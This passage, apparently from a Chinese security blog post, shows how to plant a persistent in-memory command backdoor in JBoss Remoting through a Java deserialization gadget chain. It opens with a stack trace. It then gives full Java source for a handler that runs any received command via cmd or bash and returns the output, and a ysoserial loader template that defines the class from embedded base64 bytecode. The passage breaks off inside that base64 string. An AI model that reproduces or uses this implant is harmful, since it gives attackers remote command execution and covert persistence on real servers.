class="code-snippet__selector-class">.functors</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">transform</span><span class="code-snippet__selector-pseudo">:122</span>, <span class="code-snippet__selector-tag">ChainedTransformer</span> (<span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.apache</span><span class="code-snippet__selector-class">.commons</span><span class="code-snippet__selector-class">.collections</span><span class="code-snippet__selector-class">.functors</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">get</span><span class="code-snippet__selector-pseudo">:151</span>, <span class="code-snippet__selector-tag">LazyMap</span> (<span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.apache</span><span class="code-snippet__selector-class">.commons</span><span class="code-snippet__selector-class">.collections</span><span class="code-snippet__selector-class">.map</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">getValue</span><span class="code-snippet__selector-pseudo">:73</span>, <span class="code-snippet__selector-tag">TiedMapEntry</span> (<span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.apache</span><span class="code-snippet__selector-class">.commons</span><span class="code-snippet__selector-class">.collections</span><span class="code-snippet__selector-class">.keyvalue</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">toString</span><span class="code-snippet__selector-pseudo">:131</span>, <span class="code-snippet__selector-tag">TiedMapEntry</span> (<span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.apache</span><span class="code-snippet__selector-class">.commons</span><span class="code-snippet__selector-class">.collections</span><span class="code-snippet__selector-class">.keyvalue</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject</span><span class="code-snippet__selector-pseudo">:86</span>, <span class="code-snippet__selector-tag">BadAttributeValueExpException</span> (<span class="code-snippet__selector-tag">javax</span><span class="code-snippet__selector-class">.management</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke0</span><span class="code-snippet__selector-pseudo">:-1</span>, <span class="code-snippet__selector-tag">NativeMethodAccessorImpl</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke</span><span class="code-snippet__selector-pseudo">:62</span>, <span class="code-snippet__selector-tag">NativeMethodAccessorImpl</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke</span><span class="code-snippet__selector-pseudo">:43</span>, <span class="code-snippet__selector-tag">DelegatingMethodAccessorImpl</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke</span><span class="code-snippet__selector-pseudo">:498</span>, <span class="code-snippet__selector-tag">Method</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.lang</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invokeReadObject</span><span class="code-snippet__selector-pseudo">:1185</span>, <span class="code-snippet__selector-tag">ObjectStreamClass</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readSerialData</span><span class="code-snippet__selector-pseudo">:2319</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readOrdinaryObject</span><span class="code-snippet__selector-pseudo">:2210</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject0</span><span class="code-snippet__selector-pseudo">:1690</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject</span><span class="code-snippet__selector-pseudo">:508</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject</span><span class="code-snippet__selector-pseudo">:466</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">receiveObjectVersion2_2</span><span class="code-snippet__selector-pseudo">:238</span>, <span class="code-snippet__selector-tag">JavaSerializationManager</span> (<span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.jboss</span><span class="code-snippet__selector-class">.remoting</span><span class="code-snippet__selector-class">.serialization</span><span class="code-snippet__selector-class">.impl</span><span class="code-snippet__selector-class">.java</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">receiveObject</span><span class="code-snippet__selector-pseudo">:138</span>, <span class="code-snippet__selector-tag">JavaSerializationManager</span> (<span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.jboss</span><span class="code-snippet__selector-class">.remoting</span><span class="code-snippet__selector-class">.serialization</span><span class="code-snippet__selector-class">.impl</span><span class="code-snippet__selector-class">.java</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">read</span><span class="code-snippet__selector-pseudo">:123</span>, <span class="code-snippet__selector-tag">SerializableUnMarshaller</span> (<span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.jboss</span><span class="code-snippet__selector-class">.remoting</span><span class="code-snippet__selector-class">.marshal</span><span class="code-snippet__selector-class">.serializable</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">versionedRead</span><span class="code-snippet__selector-pseudo">:900</span>, <span class="code-snippet__selector-tag">ServerThread</span> (<span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.jboss</span><span class="code-snippet__selector-class">.remoting</span><span class="code-snippet__selector-class">.transport</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">completeInvocation</span><span class="code-snippet__selector-pseudo">:754</span>, <span class="code-snippet__selector-tag">ServerThread</span> (<span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.jboss</span><span class="code-snippet__selector-class">.remoting</span><span class="code-snippet__selector-class">.transport</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">processInvocation</span><span class="code-snippet__selector-pseudo">:744</span>, <span class="code-snippet__selector-tag">ServerThread</span> (<span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.jboss</span><span class="code-snippet__selector-class">.remoting</span><span class="code-snippet__selector-class">.transport</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">dorun</span><span class="code-snippet__selector-pseudo">:548</span>, <span class="code-snippet__selector-tag">ServerThread</span> (<span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.jboss</span><span class="code-snippet__selector-class">.remoting</span><span class="code-snippet__selector-class">.transport</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">run</span><span class="code-snippet__selector-pseudo">:234</span>, <span class="code-snippet__selector-tag">ServerThread</span> (<span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.jboss</span><span class="code-snippet__selector-class">.remoting</span><span class="code-snippet__selector-class">.transport</span><span class="code-snippet__selector-class">.socket</span>)</span></code></pre></section><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">rpc调用</h1><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">研究了一下jboss的remoting，可以写一个类继承自ServerInvocationHandler接口，通过classloader定义到jvm中，然后client查询即可。</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">关于jboss remoting开发的可以直接看官方的sample，从<span style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(0, 153, 38);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">这里下载<sup style="box-sizing: border-box;margin: 0px;padding: 0px;">[2]</sup></span></p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">注册ServerInvocationHandler可以调用<code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">org.jboss.remoting.ServerInvoker#addInvocationHandler</code>函数，我们需要在线程中找到ServerInvoker的值反射获取以此来动态添加handler。</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">调试来看在当前线程中就有handler所在的hashmap，所以我们只需要把我们的EvilHandler put进去就行了。<img class="rich_pages wxw-img" data-backh="214" data-backw="562" data-galleryid="" data-ratio="0.38055555555555554" data-s="300,640" style="text-align: center;letter-spacing: normal;width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d4f10bd6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibru9dcMzygLM38UhxicJN3mbfjnzVokyJR58rtthCx9m2su3gt39QvHYqEf5zVflXY6Zk8XiaWDr66A%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">其中ASD就是我的handler</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">这里直接贴代码，首先需要一个JbossInvocationHandler来执行命令。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> ysoserial.payloads.templates;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.jboss.remoting.InvocationRequest;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.jboss.remoting.ServerInvocationHandler;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.jboss.remoting.ServerInvoker;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.jboss.remoting.callback.InvokerCallbackHandler;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.management.MBeanServer;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">JbossInvocationHandler</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">ServerInvocationHandler</span>, <span class="code-snippet__title">Runnable</span> </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">run</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">setMBeanServer</span><span class="code-snippet__params">(MBeanServer mBeanServer)</span> </span>{</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">setInvoker</span><span class="code-snippet__params">(ServerInvoker serverInvoker)</span> </span>{</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Object <span class="code-snippet__title">invoke</span><span class="code-snippet__params">(InvocationRequest invocationRequest)</span> <span class="code-snippet__keyword">throws</span> Throwable </span>{</span></code><code><span class="code-snippet_outer">        String cmd = (String) invocationRequest.getParameter();</span></code><code><span class="code-snippet_outer">        System.out.println(<span class="code-snippet__string">&#34;接收到命令：&#34;</span> + cmd);</span></code><code><span class="code-snippet_outer">        String[] cmds = <span class="code-snippet__keyword">new</span> String[]{<span class="code-snippet__string">&#34;cmd&#34;</span>, <span class="code-snippet__string">&#34;/c&#34;</span>, cmd};</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (!System.getProperty(<span class="code-snippet__string">&#34;os.name&#34;</span>).toLowerCase().contains(<span class="code-snippet__string">&#34;win&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            cmds = <span class="code-snippet__keyword">new</span> String[]{<span class="code-snippet__string">&#34;bash&#34;</span>, <span class="code-snippet__string">&#34;-c&#34;</span>, cmd};</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        java.util.Scanner s = <span class="code-snippet__keyword">new</span> java.util.Scanner(Runtime.getRuntime().exec(cmds).getInputStream(), <span class="code-snippet__string">&#34;gbk&#34;</span>).useDelimiter(<span class="code-snippet__string">&#34;\\A&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> s.hasNext() ? s.next() : <span class="code-snippet__string">&#34;no result&#34;</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">addListener</span><span class="code-snippet__params">(InvokerCallbackHandler invokerCallbackHandler)</span> </span>{</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">removeListener</span><span class="code-snippet__params">(InvokerCallbackHandler invokerCallbackHandler)</span> </span>{</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">然后base64编码用classloader加载</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> ysoserial.payloads.templates;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.jboss.remoting.ServerInvocationHandler;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.jboss.remoting.transport.socket.ServerThread;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.jboss.remoting.transport.socket.SocketServerInvoker;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Field;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Method;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.net.URL;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.net.URLClassLoader;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Loader</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">static</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">byte</span>[] bytes = base64Decode(<span class="code-snippet__string">&#34;yv66vgAAADIAkAoAIABKCgBLAEwHAE0JAE4ATwcAUAoABQBKCABRCgAFAFIKAAUAUwoAVABVCAA3CABWCABXCgBOAFgKAAMAWQgAWgoAAwBbCABcCABdBwBeCgBfAGAKAF8AYQoAYgBjCABkCgAUAGUIAGYKABQAZwoAFABoCgAUAGkIAGoHAGsHAGwHAG0HAG4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdGVtcGxhdGVzL0pib3NzSW52b2NhdGlvbkhhbmRsZXI7AQADcnVuAQAOc2V0TUJlYW5TZXJ2ZXIBACEoTGphdmF4L21hbmFnZW1lbnQvTUJlYW5TZXJ2ZXI7KVYBAAttQmVhblNlcnZlcgEAHkxqYXZheC9tYW5hZ2VtZW50L01CZWFuU2VydmVyOwEACnNldEludm9rZXIBACUoTG9yZy9qYm9zcy9yZW1vdGluZy9TZXJ2ZXJJbnZva2VyOylWAQANc2VydmVySW52b2tlcgEAIkxvcmcvamJvc3MvcmVtb3RpbmcvU2VydmVySW52b2tlcjsBAAZpbnZva2UBADooTG9yZy9qYm9zcy9yZW1vdGluZy9JbnZvY2F0aW9uUmVxdWVzdDspTGphdmEvbGFuZy9PYmplY3Q7AQARaW52b2NhdGlvblJlcXVlc3QBACZMb3JnL2pib3NzL3JlbW90aW5nL0ludm9jYXRpb25SZXF1ZXN0OwEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAA1TdGFja01hcFRhYmxlBwBNBwA6BwBeAQAKRXhjZXB0aW9ucwcAbwEAC2FkZExpc3RlbmVyAQA3KExvcmcvamJvc3MvcmVtb3RpbmcvY2FsbGJhY2svSW52b2tlckNhbGxiYWNrSGFuZGxlcjspVgEAFmludm9rZXJDYWxsYmFja0hhbmRsZXIBADRMb3JnL2pib3NzL3JlbW90aW5nL2NhbGxiYWNrL0ludm9rZXJDYWxsYmFja0hhbmRsZXI7AQAOcmVtb3ZlTGlzdGVuZXIBAApTb3VyY2VGaWxlAQAbSmJvc3NJbnZvY2F0aW9uSGFuZGxlci5qYXZhDAAjACQHAHAMAHEAcgEAEGphdmEvbGFuZy9TdHJpbmcHAHMMAHQAdQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAS5o6l5pS25Yiw5ZG95Luk77yaDAB2AHcMAHgAeQcAegwAewB8AQACL2MBAAdvcy5uYW1lDAB9AH4MAH8AeQEAA3dpbgwAgACBAQAEYmFzaAEAAi1jAQARamF2YS91dGlsL1NjYW5uZXIHAIIMAIMAhAwAhQCGBwCHDACIAIkBAANnYmsMACMAigEAAlxBDACLAIwMAI0AjgwAjwB5AQAJbm8gcmVzdWx0AQAzeXNvc2VyaWFsL3BheWxvYWRzL3RlbXBsYXRlcy9KYm9zc0ludm9jYXRpb25IYW5kbGVyAQAQamF2YS9sYW5nL09iamVjdAEAKm9yZy9qYm9zcy9yZW1vdGluZy9TZXJ2ZXJJbnZvY2F0aW9uSGFuZGxlcgEAEmphdmEvbGFuZy9SdW5uYWJsZQEAE2phdmEvbGFuZy9UaHJvd2FibGUBACRvcmcvamJvc3MvcmVtb3RpbmcvSW52b2NhdGlvblJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALdG9Mb3dlckNhc2UBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQAIQAfACAAAgAhACIAAAAHAAEAIwAkAAEAJQAAAC8AAQABAAAABSq3AAGxAAAAAgAmAAAABgABAAAACgAnAAAADAABAAAABQAoACkAAAABACoAJAABACUAAAArAAAAAQAAAAGxAAAAAgAmAAAABgABAAAADgAnAAAADAABAAAAAQAoACkAAAABACsALAABACUAAAA1AAAAAgAAAAGxAAAAAgAmAAAABgABAAAAEgAnAAAAFgACAAAAAQAoACkAAAAAAAEALQAuAAEAAQAvADAAAQAlAAAANQAAAAIAAAABsQAAAAIAJgAAAAYAAQAAABYAJwAAABYAAgAAAAEAKAApAAAAAAABADEAMgABAAEAMwA0AAIAJQAAAQkABAAFAAAAhCu2AALAAANNsgAEuwAFWbcABhIHtgAILLYACLYACbYACga9AANZAxILU1kEEgxTWQUsU04SDbgADrYADxIQtgARmgAWBr0AA1kDEhJTWQQSE1NZBSxTTrsAFFm4ABUttgAWtgAXEhi3ABkSGrYAGzoEGQS2AByZAAsZBLYAHacABRIesAAAAAMAJgAAAB4ABwAAABoACAAbACEAHAA0AB0ARAAeAFcAIABxACEAJwAAADQABQAAAIQAKAApAAAAAACEADUANgABAAgAfAA3ADgA